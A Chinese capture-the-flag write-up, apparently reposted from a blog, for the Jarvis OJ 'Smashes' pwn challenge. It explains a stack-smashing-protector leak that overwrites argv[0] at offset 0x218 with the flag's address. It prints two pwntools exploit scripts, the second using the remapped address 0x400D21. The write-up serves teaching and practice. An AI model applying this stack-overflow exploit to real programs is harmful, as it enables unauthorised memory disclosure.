[Jarvis OJ - PWN]——Smashes
作者:互联网
[Jarvis OJ - PWN]——Smashes
- 题目地址: https://www.jarvisoj.com/challenges
- 题目:
还是先checksec一下看看。64位,并且除了PIE,其他保护基本都开启了。
在IDA中看看
发现有可以利用的栈溢出, 我原本的想法是将canary给泄露出来。但是看到触发了canary保护后的结果, 有点不对劲。
修改了文件名后,我确定了, 泄露的就是argv[0]。我们可以通过将其覆盖, 主动触发canary保护, 将flag拿到手。
我们首先要确实, argv[0], 距离的输入的偏移。我们找最初的指针指向。
diantance = 0x218
上面我们找到flag的地址位:0x0000000000600D21
所以exploit
from pwn import *
#p=process('./smashes')
p=remote("pwn.jarvisoj.com","9877")
p.recvuntil("name?");
flag_addr=0x0600D21
payload='a'*0x218+p64(flag_addr)
p.sendline(payload)
p.interactive()
发现结果不对,什么都没有???
看了下相关博客,学到了
peak小知识
当ELF文件较小的时候,他的不同区段可能会被多次映射。
找到映射备份地址0x400D21
exploit
from pwn import *
#p=process('./smashes')
p=remote("pwn.jarvisoj.com","9877")
p.recvuntil("name?");
flag_addr=0x0400D21
payload='a'*0x218+p64(flag_addr)
p.sendline(payload)
p.interactive()
标签:addr,canary,Jarvis,0x218,pwn,flag,PWN,Smashes,payload 来源: https://blog.csdn.net/Y_peak/article/details/113825430